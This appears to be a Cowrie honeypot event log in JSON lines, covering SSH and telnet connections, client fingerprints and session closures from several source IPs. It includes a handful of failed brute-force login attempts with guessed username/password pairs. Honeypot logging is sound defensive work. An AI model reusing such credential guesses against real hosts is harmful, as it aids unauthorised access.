{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:47.583404Z","src_ip":"193.32.162.145","session":"8d104f5e159a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:47.902472Z","src_ip":"193.32.162.145","session":"8d104f5e159a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41728,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84612d8120f","protocol":"telnet","message":"New connection: 161.97.105.174:41728 (159.203.135.109:23) [session: f84612d8120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:48.185783Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:49.013239Z","src_ip":"193.32.162.145","session":"8d104f5e159a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"f408440e25fe","protocol":"telnet","message":"New connection: 161.97.105.174:41914 (159.203.135.109:23) [session: f408440e25fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:50.110946Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"66344fe555f4","protocol":"ssh","message":"New connection: 103.170.173.26:39616 (10.17.0.5:22) [session: 66344fe555f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:51.845547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:51.850139Z","src_ip":"103.170.173.26","session":"66344fe555f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:52.127080Z","src_ip":"103.170.173.26","session":"66344fe555f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b671349c92b3","protocol":"telnet","message":"New connection: 161.97.105.174:41928 (159.203.135.109:23) [session: b671349c92b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:52.170743Z"}
{"eventid":"cowrie.session.closed","duration":34.11644887924194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:53.185939Z","src_ip":"161.97.105.174","session":"4e7e46f6c6ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test4321","message":"login attempt [test/test4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:53.253252Z","src_ip":"103.170.173.26","session":"66344fe555f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:54.530952Z","src_ip":"103.170.173.26","session":"66344fe555f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48102688789368,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:56.868726Z","src_ip":"161.97.105.174","session":"34c1594c3464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.324402809143066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:59.000999Z","src_ip":"161.97.105.174","session":"68fe9a5da0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f93daf63b05","protocol":"telnet","message":"New connection: 161.97.105.174:56136 (159.203.135.109:23) [session: 1f93daf63b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:00.490243Z"}
{"eventid":"cowrie.session.closed","duration":33.64812731742859,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:01.708625Z","src_ip":"161.97.105.174","session":"1983b82de16b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.819822788238525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:02.816449Z","src_ip":"161.97.105.174","session":"bcacf4bdba75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.945751428604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:03.719965Z","src_ip":"161.97.105.174","session":"77fe101f84a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56152,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd3e5d03101","protocol":"telnet","message":"New connection: 161.97.105.174:56152 (159.203.135.109:23) [session: bfd3e5d03101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:07.336920Z"}
{"eventid":"cowrie.session.closed","duration":33.27455258369446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:08.247279Z","src_ip":"161.97.105.174","session":"915e760aa943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14460,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0fdf17b3e6","protocol":"ssh","message":"New connection: 141.11.21.145:14460 (10.17.0.5:22) [session: 3d0fdf17b3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:12.720850Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:12.805936Z","src_ip":"141.11.21.145","session":"3d0fdf17b3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14472,"dst_ip":"10.17.0.5","dst_port":22,"session":"0112cf23ae90","protocol":"ssh","message":"New connection: 141.11.21.145:14472 (10.17.0.5:22) [session: 0112cf23ae90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:12.880681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:12.885617Z","src_ip":"141.11.21.145","session":"0112cf23ae90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:12.964808Z","src_ip":"141.11.21.145","session":"0112cf23ae90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ksy","password":"ksy","message":"login attempt [ksy/ksy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:13.201126Z","src_ip":"141.11.21.145","session":"0112cf23ae90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:14.282722Z","src_ip":"141.11.21.145","session":"0112cf23ae90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32930,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfde5048c183","protocol":"telnet","message":"New connection: 64.227.101.30:32930 (10.17.0.5:23) [session: dfde5048c183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:14.674221Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc53e54429ac","protocol":"ssh","message":"New connection: 209.99.189.174:35978 (10.17.0.5:22) [session: bc53e54429ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:15.192313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:15.197218Z","src_ip":"209.99.189.174","session":"bc53e54429ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:15.325024Z","src_ip":"209.99.189.174","session":"bc53e54429ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qbtuser","password":"qbtuser","message":"login attempt [qbtuser/qbtuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:15.865787Z","src_ip":"209.99.189.174","session":"bc53e54429ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.50313901901245,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:15.871403Z","src_ip":"161.97.105.174","session":"03c21090f6c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:16.996485Z","src_ip":"209.99.189.174","session":"bc53e54429ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65875959396362,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:18.497515Z","src_ip":"161.97.105.174","session":"1ccbc3e9ec9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15550756454468,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:20.341166Z","src_ip":"161.97.105.174","session":"f84612d8120f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215891361236572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:21.326733Z","src_ip":"161.97.105.174","session":"f408440e25fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33472466468811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:24.505361Z","src_ip":"161.97.105.174","session":"b671349c92b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58734,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d72044fa7d","protocol":"telnet","message":"New connection: 161.97.105.174:58734 (159.203.135.109:23) [session: 66d72044fa7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:33.213288Z"}
{"eventid":"cowrie.session.closed","duration":33.890870809555054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:34.380958Z","src_ip":"161.97.105.174","session":"1f93daf63b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd6f6c9b403","protocol":"telnet","message":"New connection: 161.97.105.174:58736 (159.203.135.109:23) [session: 6fd6f6c9b403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:36.816765Z"}
{"eventid":"cowrie.session.closed","duration":32.029826164245605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:39.366681Z","src_ip":"161.97.105.174","session":"bfd3e5d03101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7da9afb85a9","protocol":"telnet","message":"New connection: 161.97.105.174:36448 (159.203.135.109:23) [session: e7da9afb85a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:40.237202Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e41f54792c8","protocol":"telnet","message":"New connection: 161.97.105.174:36450 (159.203.135.109:23) [session: 1e41f54792c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:40.500536Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36454,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d155ccdf1b","protocol":"telnet","message":"New connection: 161.97.105.174:36454 (159.203.135.109:23) [session: 06d155ccdf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:43.572622Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36460,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb9428c9e7b","protocol":"telnet","message":"New connection: 161.97.105.174:36460 (159.203.135.109:23) [session: beb9428c9e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:43.812303Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36468,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c79e968ede7","protocol":"telnet","message":"New connection: 161.97.105.174:36468 (159.203.135.109:23) [session: 5c79e968ede7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:44.321791Z"}
{"eventid":"cowrie.session.closed","duration":67.3335485458374,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:48.265314Z","src_ip":"64.227.101.30","session":"ffdcbfa482c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57478070259094,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:50.248864Z","src_ip":"64.227.101.30","session":"dfde5048c183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56234,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff485805bd7","protocol":"telnet","message":"New connection: 161.97.105.174:56234 (159.203.135.109:23) [session: 0ff485805bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:51.857465Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"916e7093c8fe","protocol":"telnet","message":"New connection: 64.227.101.30:44490 (10.17.0.5:23) [session: 916e7093c8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:52.075453Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44188,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef942882e416","protocol":"telnet","message":"New connection: 64.227.101.30:44188 (10.17.0.5:23) [session: ef942882e416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:36:55.307262Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c81c01b4a98","protocol":"telnet","message":"New connection: 64.227.101.30:47296 (10.17.0.5:23) [session: 7c81c01b4a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:02.891371Z"}
{"eventid":"cowrie.session.closed","duration":120.00355935096741,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:05.479253Z","src_ip":"64.227.101.30","session":"f9afd58a447d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":56784,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd805becc970","protocol":"ssh","message":"New connection: 209.99.189.174:56784 (10.17.0.5:22) [session: fd805becc970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:06.484794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:06.489436Z","src_ip":"209.99.189.174","session":"fd805becc970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:06.624005Z","src_ip":"209.99.189.174","session":"fd805becc970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftptest123","message":"login attempt [testftp/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:07.174802Z","src_ip":"209.99.189.174","session":"fd805becc970","protocol":"ssh"}
